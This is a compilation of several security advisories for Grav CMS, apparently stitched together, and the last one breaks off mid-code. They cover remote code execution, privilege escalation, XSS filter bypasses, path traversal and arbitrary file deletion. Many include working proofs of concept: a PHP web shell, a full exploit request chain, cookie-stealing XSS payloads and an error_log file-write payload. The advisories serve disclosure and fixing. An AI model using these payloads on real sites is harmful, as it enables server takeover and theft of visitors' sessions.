A cross-site scripting (XSS) vulnerability in Grav versions 1.7.44 and before, allows remote authenticated attackers to execute arbitrary web scripts or HTML via the onmouseover attribute of an ISINDEX element.

A cross-site scripting (XSS) vulnerability in Grav versions 1.7.44 and before, allows remote authenticated attackers to execute arbitrary web scripts or HTML via the onmouseover attribute of an ISINDEX element.

A cross-site scripting (XSS) vulnerability in Grav versions 1.7.44 and before, allows remote authenticated attackers to execute arbitrary web scripts or HTML via the onmouseover attribute of an ISINDEX element.

Summary

A logged-in user can run any command on the server. A settings field can fill itself by calling one of Grav's built-in routines, and a safety check is supposed to allow only harmless ones. The check only recognises a routine when its name is written as one piece of text; named as a pair of values instead, it is not examined at all and is passed as safe. Pointing such a field at the routine that unpacks ZIP archives writes a PHP file from an uploaded archive into the site's public folder, which the server then runs.

Details

The check rejects known-dangerous routines and, for those belonging to a component, allows only a short approved list. Both of those cases only apply when the name arrives as a single string. The same routine can be named as a pair (the component and the routine inside it), and in that form the check matches neither case, skips both lists and answers "safe". Grav then calls it, with arguments the attacker supplies in the same field. Any routine shipped with Grav becomes callable.

The one used here is what Grav runs when installing a plugin from an archive. It takes an archive and a destination folder. It does check the names of the files inside, so an archive cannot escape with ../, but the destination is used exactly as given, so naming the folder the website is served from drops the contents there. Getting the archive in is trivial: ZIP is an accepted upload type and the files inside are never examined, so an archive containing a PHP file uploads as ordinary media to a predictable address.

Everything is set up over the web. Saving a plugin's settings stores the values as sent, and the Flex Objects plugin treats each entry of its own directory list as the address of a file describing fields. Pointing that list at the settings file being saved makes one file act as both, so the malicious field is created through a normal settings save with no file edited on the server.

PoC

1. Log in at http://TARGET/login (or /admin). The session cookie is the only credential needed below.

2. Build and upload the zip file. In the panel this is the Media tab; it is stored unchanged at /user/media/evil.zip.

   Zip the shell.php file with the php code mentioned below:

   shell.php:  <?php system($_GET['c']); ?>
   zip evil.zip shell.php
   

3. Send the request (attach your Cookie and X-API-Token):

   PATCH /api/v1/config/plugins/flex-objects
   Content-Type: application/json
   
   {
     "directories": ["user/config/plugins/flex-objects.yaml"],
     "title": "Pwn",
     "type": "flex-objects",
     "config": { "data": {
       "object":     "Grav\\Common\\Flex\\Types\\Generic\\GenericObject",
       "collection": "Grav\\Common\\Flex\\Types\\Generic\\GenericCollection",
       "index":      "Grav\\Common\\Flex\\Types\\Generic\\GenericIndex",
       "storage": { "class": "Grav\\Framework\\Flex\\Storage\\SimpleStorage",
                    "options": { "formatter": {"class": "Grav\\Framework\\File\\Formatter\\JsonFormatter"},
                                 "folder": "user-data://flex-objects/pwn.json" } } } },
     "form": { "validation": "loose", "fields": {
       "name": {"type": "text", "label": "Name"},
       "pwn":  {"type": "text", "label": "pwn",
                "data-default@": [["Grav\\Common\\GPM\\Installer", "unZip"],
                                  "user/media/evil.zip",
                                  "/absolute/path/to/grav-docroot"]} } }
   }
   

4. Trigger it. In the panel, open the new directory and add an object. As a request (attach your Cookie and X-API-Token):

   POST /api/v1/flex-objects/flex-objects
   Content-Type: application/json
   
   {"name": "x"}
   -> 201
   

5. Open the file that was written:

   http://TARGET/shell.php?c=id
   -> PWNED:uid=1000(kali) gid=1000(kali) ...
   

Impact

Remote code execution by a logged-in user, so the whole server is compromised. Commands run as the web server's account.

Summary

The core Flex group blueprint system/blueprints/user/group.yaml (access field, lines 48-55) omits the security@: admin.super field guard that its sibling account blueprint carries (account.yaml:131/138/150, added by the CVE-2026-42613 fix). A delegated non-super operator holding admin.users.update can therefore save a group whose access map contains admin.super: true, which UserGroupObject::authorize then grants to every member of that group, a full privilege escalation to super-admin (scheduler/cron RCE, Twig eval). This is a distinct file, sink, and fix from all four related advisories.

Root Cause

The CVE-2026-42613 fix protected the account access/groups fields with a blueprint-level security@: admin.super gate, which Blueprint::dynamicSecurity() (system/src/Grav/Common/Data/Blueprint.php:644-662) uses to mark a field validate.ignore=true for non-super users so BlueprintSchema::filterArray() (BlueprintSchema.php:263-311) drops it. The functionally-identical group access field, a permission map granted to every member of the group, is declared in system/blueprints/user/group.yaml:48-55 with check_authorize: false and NO security@ guard. check_authorize has ZERO PHP enforcement (grep -rn check_authorize across the repo returns 0 PHP consumers; only two YAML blueprints reference it), so security@ is the sole real control. Because the group access field lacks security@, dynamicSecurity never flags it, filterArray retains it, and Validation::filterArray (type: array, value_type: bool) passes the nested admin.super:true leaf through. The core save path (FlexObject::update() then Framework/Flex/FlexObject.php:683 $blueprint->filter($data,true,true) then save()) persists it to user://config/groups.yaml.

Impact

A delegated admin.users operator (strictly below admin.super) escalates to super-admin, gaining the admin panel, the scheduler (cron to RCE) and Twig evaluation. Full read/write/DoS (C:H/I:H/A:H). Even absent self-escalation, arbitrary rewrite of ANY group's ACL is itself a full escalation primitive.

Proof of Concept

As a non-super admin.users operator who is a member of group ops:

POST /admin/accounts/groups/ops   (or groups.json task:save)
data[access][admin][super]=1

user/config/groups.yaml gains ops: { access: { admin: { super: true } } }, so the operator is super-admin on the next request.

Attack Chain

1. Entry: authenticated delegated admin (admin.users.update, no admin.super) POSTs the group-edit form for a group they belong to (or a new group), body access[admin][super]=true. Guard: FlexAuthorizeTrait::isAuthorizedAction to admin.users.update. Bypass proof: user-groups.yaml exposes groups at admin.users:crudl; operator legitimately holds update.
2. Check (field guard): Blueprint::dynamicSecurity marks validate.ignore only for security@ fields. Guard: none on group access (no security@). Bypass proof: group.yaml:48-55 has no security@; git log -S 'security@' -- system/blueprints/user/group.yaml is empty.
3. Filter: BlueprintSchema::filterArray retains the non-ignored field; Validation::filterArray (value_type: bool) passes admin.super:true through. Bypass proof: field not flagged ignore/disabled; nested bool leaf preserved.
4. Sink (persist): FlexObject::update then filter then save writes to user://config/groups.yaml. Guard: none. Bypass proof: value already survived steps 2/3; storage performs no ACL filtering.
5. Impact: any member request triggers UserGroupObject::authorize('admin.super') (.../UserGroups/UserGroupObject.php:75) returning true, so the member is super-admin, enabling scheduler/Twig RCE.

Bypass Evidence

• system/blueprints/user/group.yaml:48-55: access block with check_authorize: false, no security@ (confirmed live on tag 2.0.12).
• git log -S 'security@' -- system/blueprints/user/group.yaml is empty (guard never existed; a permanent gap, not a regression).
• git log 2.0.12..HEAD -- system/blueprints/user/group.yaml is empty (no post-release fix).
• grep -rn check_authorize (whole repo) returns 0 PHP hits (guard unenforced in PHP).
• grep -rn "typePermissions|filterPermissions" system/src/Grav/Common/Data returns 0 (permissions map falls through to array-bool filtering that keeps nested keys).
• Guard asymmetry: account.yaml:131/138/150 carry security@: admin.super; group.yaml carries none. GHSA-h33v-82r9-v8pm's own text confirms the blueprint security@ gate is the sole Flex-backend strip for these keys.

Affected Versions

<= 2.0.12 (latest release; the guard never existed on group.yaml, so all 2.x are affected). The missing guard and the strip logic are both in core getgrav/grav; the group-edit UI is provided by the flex-objects/admin plugin, but the fix belongs in core.

Suggested Fix

Add security@: admin.super to the access field in system/blueprints/user/group.yaml (mirroring account.yaml), and/or enforce a super-only strip on group ACL saves in core so all callers are covered.

Reported by zx (Jace) — GitHub: @manus-use

Vulnerability Details

Component: getgrav/grav core File: system/src/Grav/Common/Security.php Function: detectXss() (all six entries in the $patterns array use the PCRE u modifier), invoked from Grav\Common\Data\Validation::checkSafety() (the save-time XSS gate for any non-security.xss_whitelist account's blueprint field, including the page content field) and detectXssInEditorContent() (the render-time backstop for GHSA-2c4f-86xc-cr74) CWE: CWE-79 (Stored XSS), root-caused by CWE-20 (Improper Input Validation — fails open on malformed input) Severity: High CVSS: 8.0 — CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Relationship to prior advisories

This project's detectXss()/checkSafety() stack has been patched at least three times for the "page editor without super-admin rights stores an event handler that runs for site visitors" bug class: GHSA-9695-8fr9-hw5q / GHSA-c2q3-p4jr-c55f / GHSA-w8cg-7jcj-4vv2 (unquoted-attribute bypasses), GHSA-269c-h76q-8cxw (quoted-attribute-boundary bypass), GHSA-2c4f-86xc-cr74 (render-time Twig-assembled bypass). All three patched the regex logic. This is a different, lower-level defect: the PHP regex engine silently refuses to evaluate the pattern at all once the input contains one invalid UTF-8 byte, independent of what the regex logic says — no amount of regex-logic hardening fixes this.

Root Cause

Every pattern in $patterns uses the PCRE u (UTF-8) modifier. PHP's documented behavior: if the subject string contains even one byte sequence that is not valid UTF-8, preg_match() does not "skip" that byte or report "no match" — it returns false for the entire call, with preg_last_error() === PREG_BAD_UTF8_ERROR. detectXss() only checks truthiness (if (preg_match(...) || preg_match(...))), so false and "0 matches" are indistinguishable to the calling code. A single stray byte anywhere in a field's value — not even near the actual payload — makes every one of the six checks silently report "no XSS found".

Meanwhile, a real browser decoding the same bytes as UTF-8 (the encoding Grav serves pages as) does not fail open: it substitutes the invalid byte with one U+FFFD replacement character and renders the surrounding markup completely normally. The <img ... onerror=...> tag is untouched structurally; the payload still fires.

Vulnerable Code

$patterns = [
    'on_events' => '#<(?:"[^"]*"|\'[^\']*\'|[^>"\'])*?(?:[\s\x00-\x20\"\'\/]|"[^"]*"|\'[^\']*\')on\s*[a-z]+\s*=#iu',
    // ... five more, all with the /u modifier
];
foreach ($patterns as $name => $regex) {
    if (!empty($enabled_rules[$name])) {
        if (preg_match($regex, (string) $string) || preg_match($regex, $orig)) {
            return $name;
        }
        // ...
    }
}
return null; // reached even when the string contains <img onerror=...>,
             // as long as it also contains one invalid UTF-8 byte anywhere

Directly reproducible against the exact regex:

$regex = '#<(?:"[^"]*"|\'[^\']*\'|[^>"\'])*?(?:[\s\x00-\x20\"\'\/]|"[^"]*"|\'[^\']*\')on\s*[a-z]+\s*=#iu';
var_dump(preg_match($regex, "<img src=x onerror=alert(1)>"));          // int(1)  -- caught
var_dump(preg_match($regex, "<img src=x \x80onerror=alert(1)>"));      // bool(false), preg_last_error()==4

Attack Scenario

1. Attacker holds a page-edit ("publisher") account without super-admin rights.
2. Sets page content to Hello world \x80<img src=x onerror=alert(document.cookie)> (a raw invalid UTF-8 byte, deliverable via any non-JSON submission path — e.g. the bundled Form plugin's multipart/urlencoded field, or any blueprint-validated field populated from a raw POST body — $_POST values are not UTF-8-validated by PHP).
3. Validation::checkSafety() runs detectXss() on the value; every preg_match() call returns false, so detectXss() returns null ("no violation"). The payload saves unmodified.
4. Any visitor (including a super-admin browsing the public site) loads the page; the browser renders the intact <img onerror=...> element, executing the attacker's JavaScript in the visitor's session.

Impact

• Type: Stored XSS (CWE-79)
• Auth required: Page-edit ("publisher") account, not super-admin
• Consequence: Arbitrary JavaScript execution in any visitor's browser, including a super-admin who views the page — a cross-trust-boundary escalation from publisher to admin-equivalent action capability.

Recommended Fix

public static function detectXss($string, ?array $options = null): ?string
{
    if (null === $string || !is_string($string) || empty($string)) {
        return null;
    }

    // Fail closed: mb_check_encoding() validates the whole string up front
    // and returns a normal boolean — it never "fails open" the way a
    // /u-flagged preg_match() does on malformed input.
    if (!mb_check_encoding($string, 'UTF-8')) {
        return 'invalid_encoding';
    }

    // ... rest unchanged
}

Validation::checkSafety() only invokes detectXss() for accounts outside security.xss_whitelist (default admin.super), so this introduces no behavior change for whitelisted accounts.

Verification

Dynamically confirmed on grav 2.0.13: called the live Security::detectXss() directly (bootstrapped through Grav's own service container, not a standalone regex copy) — a clean payload was correctly flagged ("on_events"), the same payload plus one invalid UTF-8 byte returned NULL (bypass), and an ordinary safe string returned NULL as expected. Note: the JSON REST API (api plugin, the path Admin2's SPA uses to save pages) happens to reject raw invalid UTF-8 before it reaches detectXss(), because RFC 8259 requires JSON text to be valid UTF-8 and PHP's json_decode() enforces this — that's an incidental protection of the JSON layer, not a fix, and any non-JSON submission path (e.g. the bundled Form plugin's multipart/urlencoded fields) remains exposed. After applying the fix above, the same bypass payload correctly returns "invalid_encoding" (a violation), while an ordinary safe string still returns NULL (no regression).

A ready-to-apply fix branch is prepared locally against this repo's develop branch (based on the 2.0.13 tag); happy to push it to a private fork once one is available for this advisory.

Affected versions and vulnerable location

• Confirmed on grav core at 78ebfc1 (tag 2.0.13).
• Sinks:
  • system/src/Grav/Common/Data/Blueprint.php:455-458 call_user_func_array($o, $params) (bare-function dynamic-data provider).
  • Twin: system/src/Grav/Framework/Flex/FlexDirectory.php:936-938 call_user_func_array($function, $params).
• Validation gate: Blueprint::isSafeDynamicCall() at Blueprint.php:514-536.
  • Class::method branch (:514-527) uses a strict positive allowlist self::$allowedDynamicCallables.
  • Bare-function branch (:530-534) uses only a denylist: if (is_string($function) && Utils::isDangerousFunction($function)) return false; return !self::paramsContainDangerousCallable($params);.
• Denylist: Utils::isDangerousFunction() (system/src/Grav/Common/Utils.php, list around :2020-2270).

Root cause

GHSA-7pgq/CVE-2026-64850 hardened the Class::method half of the dynamic-callable validation to a positive allowlist because a page-edit account could otherwise name any static method as a provider and reach file/secret gadgets. The bare-function half was left on a denylist (isDangerousFunction). Any bare PHP function not on that list executes.

error_log is not on the denylist (verified: no occurrence in Utils.php). error_log($message, 3, $destination) appends attacker-controlled $message to attacker-controlled file $destination, an arbitrary-file-append primitive. paramsContainDangerousCallable() (:587-603) only scans params for dangerous callable strings, so a PHP payload string and a destination path both pass. (stream_socket_client, dl, and mb_send_mail are likewise absent, giving SSRF/other primitives.)

Attacker model

The same surface the published dynamic-data advisories accept as reachable: a data-*@ directive in a form blueprint the Form plugin assembles from page frontmatter (GHSA-fj2p), or a data@ field in a Flex directory/pages/users blueprint (GHSA-c4wf). A page-edit / blueprint-config account, no shell.

Reachability trace

1. Author a blueprint field with a bare-function data directive, e.g. data-options@: ['error_log', '<?php system($_GET[0]); ?>', 3, 'user/data/x.php'].
2. Blueprint::init() resolves the directive; isSafeDynamicCall('error_log', $params) reaches the bare-function branch (:530), isDangerousFunction('error_log') is false, paramsContainDangerousCallable([...]) is false (no callable strings), so it returns true.
3. call_user_func_array('error_log', ['<?php ...', 3, 'user/data/x.php']) (:455) appends the PHP payload to user/data/x.php.
4. Writing to a web-served path (or any path later included) yields code execution. The upload extension denylist does not apply, this is a direct error_log write, not an upload.

Reproduction

Executed end to end against the real Grav\Common\Data\Blueprint class loaded via composer install autoload (PHP 8.5.8, core clone at HEAD 78ebfc1). A harness called the real public Blueprint::isSafeDynamicCall(), then drove the sink and executed the written file:

[1] isSafeDynamicCall('error_log', [payload,3,dest]) => true      # guard ACCEPTS error_log (bug)
[2] isSafeDynamicCall('system', ['id']) => false                  # control
    isSafeDynamicCall('exec',   ['id']) => false                  # control
[3] call_user_func_array('error_log', ['<?php echo "PWNED"; ?>'.EOL, 3, '/tmp/grav_rce_proof.php'])
    file written: /tmp/grav_rce_proof.php (23 bytes) = <?php echo "PWNED"; ?>
[4] php /tmp/grav_rce_proof.php  =>  PWNED                        # arbitrary PHP executed (RCE)

The guard returns true for error_log (and false for the denylisted system/exec controls), the error_log sink wrote attacker PHP to disk, and executing that file yielded PWNED. Source confirmation:

rg -n "error_log|stream_socket_client|mb_send_mail" system/src/Grav/Common/Utils.php   # no hits
rg -n "isDangerousFunction|allowedDynamicCallables|call_user_func_array" system/src/Grav/Common/Data/Blueprint.php

error_log absent from Utils.php; Blueprint.php gates the bare-function branch on isDangerousFunction only, while the Class::method branch uses the positive allowlist.

Suggested fix

Convert the bare-function branch to a positive allowlist, symmetric with the Class::method allowlist at :523 (only the option-provider functions first-party blueprints actually use). A denylist cannot be complete: error_log (arbitrary append), stream_socket_client (SSRF), and others must otherwise each be enumerated.

Severity and CVSS reasoning

Suggested severity: High (same class and reach as GHSA-fj2p / CVE-2026-64850).

Suggested CVSS:3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.6) for the RCE outcome; the maintainer may prefer the exact rating they gave GHSA-fj2p.

• PR:L: a blueprint/page-edit account, not super.
• C:H/I:H/A:H: arbitrary file write leading to code execution.

How I found it and a note on tooling

I compared the two branches of isSafeDynamicCall(): the Class::method branch is a positive allowlist (the GHSA-7pgq fix) while the bare-function branch is a denylist, then checked the denylist for append/exec-capable functions and found error_log missing. I used AI assistance for enumeration and drafting. I then executed the real Blueprint::isSafeDynamicCall() (loaded via composer autoload) to confirm it accepts error_log and rejects system/exec, and drove the error_log sink to write and execute attacker PHP. Verification is executed end to end against the real class; I did not run it through a full HTTP request into a bootstrapped Grav site.

Affected versions and vulnerable location

• Confirmed on grav core at 78ebfc1 (tag 2.0.13).
• Detector: system/src/Grav/Common/Security.php:290, the on_events regex, run via patternMatches() (:315-330).
• The on_events pattern at HEAD: #<(?:"[^"]*"|'[^']*'|[^>"'])*?(?:[\s\x00-\x20"'/]|"[^"]*"|'[^']*')on\s*[a-z]+\s*=#iu
• Sole save-time guard for non-super content: Validation::checkSafety() (system/src/Grav/Common/Data/Validation.php:160 scalars, :165 arrays), invoked per field from BlueprintSchema::validate -> Validation::checkSafety (system/src/Grav/Common/Data/BlueprintSchema.php:248). security.xss_whitelist: [admin.super] exempts only super-admins (Validation.php:148).

Root cause (distinct from GHSA-269c)

GHSA-269c hardened the tag-body scan to be quote-aware so a > inside a paired quoted attribute value is treated as data, not a tag close. That same quote-awareness opened a new gap: the regex treats ANY " or ' as a string delimiter, but HTML only enters a quoted-value state when a quote appears immediately after =. A single unpaired quote sitting inside an unquoted attribute value is, to the browser, just a value character; to the regex it is an unterminated string that neither [^>"'] nor "[^"]*" can consume, so the lazy tag-body scan cannot advance past it to reach the following on...= handler. No alignment matches and detectXss() returns null.

Proof (executed)

The detector was replicated verbatim (the on_events regex plus patternMatches) with the shipped system/config/security.yaml defaults and run under PHP. Observed:

baseline  <img src=x onerror=alert(1)>            => blocked (on_events)
GHSA-269c <img src=x title=">" onerror=alert(1)>  => blocked (on_events)   # prior fix works
BYPASS A  <img src=x" onerror=alert(1)>           => PASSES (no XSS detected)
BYPASS B  <img title=x" onerror=alert(1)>         => PASSES (no XSS detected)
BYPASS C  <a href=x" onmouseover=alert(1)>x</a>   => PASSES (no XSS detected)
BYPASS D  <img src=x' onerror=alert(1)>           => PASSES (no XSS detected)
BYPASS E  <div id=x" onmouseover=alert(1)>hover</div> => PASSES (no XSS detected)

Browser tokenization of <img src=x" onerror=alert(1)>: src takes the unquoted value x" (space ends it), onerror is parsed as a separate live attribute, src 404s and onerror fires. None of the other rules cover it: img/a/div are not in xss_dangerous_tags, there is no javascript:/data: scheme and no style/url/expression.

Reachability

checkSafety() is the only save-time XSS screen for a non-super editor. The pages blueprint validates header.title (type: text) and page content (markdown/textarea) with xss_check on, so a bare onerror= is rejected but the payload above is stored verbatim. Page content is emitted through {{ page.content|raw }} and raw inline HTML passes Parsedown by default (markdown.escape_markup: false), so the handler runs for every visitor. The same detector core also backs Security::detectXssInEditorContent() (the GHSA-2c4f render-time-Twig save gate; callers Page.php:1359, Flex/Types/Pages/PageObject.php:194), the detectXssFromPages() admin scanner (Admin.php:2096), and the xss() Twig function, so all of them report the payload clean.

Auth required: an authenticated content editor with page/form edit rights but WITHOUT admin.super.

Suggested fix

Make the tag-body scan treat a quote as a delimiter only in the after-= position, or normalize unquoted attribute values before the handler scan, so an unpaired quote inside an unquoted value cannot mask a following on...=. A targeted addition: also flag on<name>= sequences that appear after a lone unbalanced quote within the same tag. Because detectXss() is a denylist, consider additionally encoding "/' in stored non-super content, or defaulting markdown.escape_markup: true for non-super authors.

Severity and CVSS reasoning

Suggested severity: High (matches GHSA-269c and the other stored-XSS advisories in this codebase).

Suggested CVSS:3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N (8.7).

• PR:L: a non-super editor account.
• UI:R: a visitor renders the page (for onerror the image simply loads/fails automatically).
• S:C/C:H/I:H: script in the site origin against every visitor, including admins viewing the content.

How I found it and a note on tooling

I read detectXss() and reasoned about the difference between the HTML tokenizer's quoted-value state and the regex's string handling, then replicated the exact on_events pattern and patternMatches() with the shipped default config and ran the payloads to confirm the bypass and that the GHSA-269c payload is still blocked. I used AI assistance for the analysis and drafting and verified the detector behavior by execution. This is executed against a faithful replica of the detector with production config, not against a full running Grav site.

Verified against: getgrav/grav devel branch, GRAV_VERSION = "2.0.15", file `index.php

Title

Unauthenticated Path Traversal via Missing Directory-Boundary Check in plugin-asset-map.php Static Asset Server (index.php)

Product / Affected Versions

• Product: getgrav/grav
• File: index.php (top-level front controller, runs before Grav itself boots)
• Confirmed present in: devel branch, 2.0.15
• Precondition: requires user/config/plugin-asset-map.php to exist and contain at least one route-prefix mapping ,this is an opt-in mechanism (per the code comment: "Fast static asset serving for plugins that bundle SPA apps"). No core mechanism generates this file automatically; it's created by a plugin that opts into this fast-path. Not reachable on a stock Grav install with no such plugin. Where reachable, it requires zero authentication.

CWE

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') , specific mechanism: a path-prefix containment check performed with plain string comparison (str_starts_with) instead of a directory-boundary-aware comparison, allowing escape into any sibling path whose name happens to extend the base directory's name as a string.

Description

index.php implements a fast-path static file server that runs before Grav's own routing/security stack, gated on the presence of an asset-map file:

$assetMapFile = __DIR__ . '/user/config/plugin-asset-map.php';
if (is_file($assetMapFile)) {
    $assetMap = require $assetMapFile;
    foreach ($assetMap as $routePrefix => $diskPath) {
        if (str_starts_with($path, $routePrefix)) {
            $relPath = substr($path, strlen($routePrefix));
            $filePath = __DIR__ . '/' . ltrim($diskPath, '/') . $relPath;
            $realFile = realpath($filePath);
            $realBase = realpath(__DIR__ . '/' . ltrim($diskPath, '/'));
            if ($realFile && $realBase && str_starts_with($realFile, $realBase) && is_file($realFile)) {
                // ... serves $realFile directly, with Content-Type inferred from extension
                readfile($realFile);
                exit;
            }
        }
    }
}

realpath() correctly resolves .. sequences, so a naive ../../etc/passwd-style traversal that leaves the filesystem entirely is blocked (it wouldn't share the $realBase string prefix). But the containment check itself, str_starts_with($realFile, $realBase), has no directory-boundary awareness it's a plain string-prefix test, not "is $realFile inside the $realBase directory." Any resolved path whose string representation merely begins with the same characters as $realBase passes, including sibling directories that extend the base directory's name (assets → assets-secret, assets.bak, assets_old, assets2, etc.) a very common real-world directory-naming pattern (backup dirs, versioned dirs, disabled/legacy dirs sitting alongside the active one).

Live Proof of Concept

Setup: the exact code block above, extracted verbatim from index.php, executed with PHP 8.3.6 against a realistic directory layout (a plugin's active assets/ dir sitting next to an unrelated assets-secret/ dir containing a fake secret):

user/plugins/myplugin/assets/app.js            <- intended, public
user/plugins/myplugin/assets-secret/config.php <- NOT intended to be served
user/config/plugin-asset-map.php:
    return ['/myplugin-assets' => 'user/plugins/myplugin/assets'];

Legitimate request (/myplugin-assets/app.js):

realFile: '/home/claude/grav-poc/user/plugins/myplugin/assets/app.js'
realBase: '/home/claude/grav-poc/user/plugins/myplugin/assets'
>>> WOULD SERVE FILE <<<
>>> Content: public asset content

Traversal request (/myplugin-assets/../assets-secret/config.php):

realFile: '/home/claude/grav-poc/user/plugins/myplugin/assets-secret/config.php'
realBase: '/home/claude/grav-poc/user/plugins/myplugin/assets'
>>> WOULD SERVE FILE <<<
>>> Content: SECRET_API_KEY=sk_live_totally_secret_12345

str_starts_with('.../assets-secret/config.php', '.../assets') evaluates true because assets-secret literally begins with the characters assets there is no separator-boundary check (e.g. requiring $realBase . '/' as the actual prefix) to prevent this.

Trust-boundary framing (per Grav's own SECURITY.md)

This code path requires no Grav account , it runs before Grav even initializes, directly off the raw request path. Per Grav's own stated criteria: "An unauthenticated attacker can achieve RCE, exfiltrate site data, or gain admin-equivalent control. No Grav account required" → this matches the CRITICAL bar exactly, for any deployment where the plugin-asset-map.php mechanism is in active use.

Suggested Fix

Append a trailing directory separator before the prefix comparison, or use a proper containment check:

if ($realFile && $realBase && (
    $realFile === $realBase ||
    str_starts_with($realFile, $realBase . DIRECTORY_SEPARATOR)
) && is_file($realFile)) {

This is the standard fix for this exact bug class , ensuring the matched prefix ends exactly at a directory boundary, not partway through a longer sibling name.

Path Traversal in MediaUploadTrait::deleteFile() Allows Arbitrary File Deletion

Summary

A path traversal vulnerability in MediaUploadTrait::deleteFile() allows an authenticated user with media management permissions to delete arbitrary files on the server. The method validates only the basename portion of the filename using Utils::checkFilename(), while the directory path (which may contain ../ sequences) is preserved and passed unvalidated to unlink(). This enables directory escape from the intended media storage path.

Severity

High (8.1) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

CWE

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Details

In system/src/Grav/Common/Media/Traits/MediaUploadTrait.php, the deleteFile() method (lines 332-365) performs filename validation only on the basename, not the full path:

public function deleteFile(string $filename, ?array $settings = null): void
{
    $settings = $this->getUploadSettings($settings);
    $filesystem = Filesystem::getInstance(false);

    // Line 339-340: Only the BASENAME is validated
    $basename = $filesystem->basename($filename);  // e.g. "evil.jpg" from "../../evil.jpg"
    if (!Utils::checkFilename($basename)) {         // passes - no traversal in basename
        throw new RuntimeException(/* ... */);
    }

    $path = $settings['destination'] ?? $this->getPath();
    // ...

    // Line 353: Full pathname (with traversal) is preserved
    $pathname = $filesystem->pathname($filename);   // "../../"

    // Line 356-357: Traversal path reconstructed
    [$base, $ext,,] = $this->getFileParts($basename);
    $name = "{$pathname}{$base}.{$ext}";            // "../../evil.jpg"

    // Line 360: Passed to doRemove()
    $this->doRemove($name, $path);
}

doRemove() (line 521-582) then calls:

// Line 538
unlink("{$folder}/{$filename}");
// e.g. unlink("/var/www/grav/user/pages/mypage/../../config/system.yaml")

Utils::checkFilename() (lines 1022-1044) properly checks for /, \, and .., but it is applied to $filesystem->basename($filename) (the last path component only), so traversal sequences in the directory portion are never validated.

Data flow from user input

The vulnerability is reachable through the Flex media handling pipeline:

1. FlexMediaTrait::setUpdatedMedia() (line 386) iterates form flash data where $filename is the array key - user-controlled
2. For file deletions ($file is null, line 396), NO upload validation is performed (the checkUploadedFile() call at line 401 only executes when $file is truthy)
3. The raw filename is stored in $this->_uploads at line 414
4. saveUpdatedMedia() (line 499) calls $media->deleteFile($filename, $settings) with the unsanitized filename

Sibling: renameFile()

The same pattern exists in renameFile() (lines 374-405) which has even weaker validation - it performs NO checkFilename() call at all. While renameFile() currently has no callers in the core codebase, it is part of the public MediaUploadInterface and should be fixed as defense-in-depth.

Proof of Concept

Environment: Grav CMS 2.0.16 with admin plugin

The attack requires an authenticated admin user with page/media editing permissions (not super-admin).

1. Create a target file:

echo "DELETE_ME" > /var/www/grav/user/data/target.txt

2. Submit a Flex object form (e.g. page edit) with a crafted media deletion where the filename key contains path traversal:

POST /admin/pages/mypage/task:save
Content-Type: multipart/form-data

# The form flash data includes a media deletion entry with key:
# "../../data/target.txt" -> null (deletion marker)

3. When saveUpdatedMedia() processes the deletion queue:

   • $filename = ../../data/target.txt
   • deleteFile("../../data/target.txt") is called
   • $basename = target.txt (passes checkFilename())
   • $pathname = ../../data/
   • $name = ../../data/target.txt
   • doRemove() calls unlink("/var/www/grav/user/pages/mypage/../../data/target.txt")
   • Which resolves to unlink("/var/www/grav/user/data/target.txt")

4. The file is deleted outside the intended media directory.

Impact

An authenticated user with media management permissions can:

• Delete configuration files (user/config/system.yaml, user/config/security.yaml)
• Delete other pages' content files
• Delete authentication-related files (user account YAML files)
• Cause denial of service by removing critical application files
• Potentially escalate privileges by removing security configuration

Suggested Fix

Apply Utils::checkFilename() to the full $filename parameter before decomposing it, or reject any filename containing directory separators or .. sequences:

public function deleteFile(string $filename, ?array $settings = null): void
{
    $settings = $this->getUploadSettings($settings);
    $filesystem = Filesystem::getInstance(false);

    // Validate the FULL filename, not just the basename
    if (!Utils::checkFilename($filename)) {
        throw new RuntimeException(/* ... */);
    }

    // ... rest unchanged
}

The same fix should be applied to renameFile() for both $from and $to parameters.

References

• Vulnerable file: system/src/Grav/Common/Media/Traits/MediaUploadTrait.php lines 332-365, 521-582
• Caller: system/src/Grav/Framework/Flex/Traits/FlexMediaTrait.php lines 386-414, 490-499
• Sibling: system/src/Grav/Common/Media/Traits/MediaUploadTrait.php lines 374-405 (renameFile)
• Related GHSA: GHSA-g6j3-8jv9-ch5f (path traversal in PagesController::batchCopy - different file, same bug class)

Disclosure

This vulnerability was discovered using AI-assisted security research tools.

Summary

The media_directory() Twig function is allow-listed for use in sandboxed, editor-authored page content (system/config/security.yaml). Its implementation, GravExtension::mediaDirFunc(), only treats the input as unsafe when it looks like a Grav stream (user://, theme://, etc). If the input is instead a plain filesystem path, absolute or relative, the stream check is skipped entirely and the raw string is handed straight to new Media($media_dir), which lists every file in that directory whose extension matches a configured media type (which by default includes txt, json, xml, pdf, doc, docx, and more, not just images) and builds Medium objects for them.

Separately, the sandbox's own allow-list for the Medium class includes the filepath accessor. A code comment directly above that allow-list entry states the developers' intent was for filepath to be part of the "dangerous surface" that "stays blocked", but it is listed as an allowed method on the very same line, contradicting that stated intent.

Combined, a user who can enter page content that gets processed as Twig (process.twig: true in frontmatter, or any modular page, which is unsandboxed and unconditional per the code comment in processPage()) can point media_directory() at any directory the web server process can read, anywhere on the filesystem, and both enumerate and read the content of any file in it whose extension is a recognized media type.

Affected product and version

Product: Grav CMS, getgrav/grav Confirmed present in: 2.0.15, commit c2b46866857a93a0aa7048e7ed707ed3ed45dbc3

Affected code

system/src/Grav/Common/Twig/Extension/GravExtension.php, mediaDirFunc():

public function mediaDirFunc($media_dir)
{
    /** @var UniformResourceLocator $locator */
    $locator = $this->grav['locator'];

    if ($locator->isStream($media_dir)) {
        $media_dir = $locator->findResource($media_dir);
    }

    if ($media_dir && file_exists($media_dir)) {
        return new Media($media_dir);
    }

    return null;
}

There is no check that $media_dir, when it is not a recognized stream, is contained within any site-relative root. It is used exactly as supplied.

system/src/Grav/Common/Page/Media.php, init(), called from the constructor:

protected function init()
{
    $path = $this->getPath();

    // Handle special cases where page doesn't exist in filesystem.
    if (!$path || !is_dir($path)) {
        return;
    }
    ...
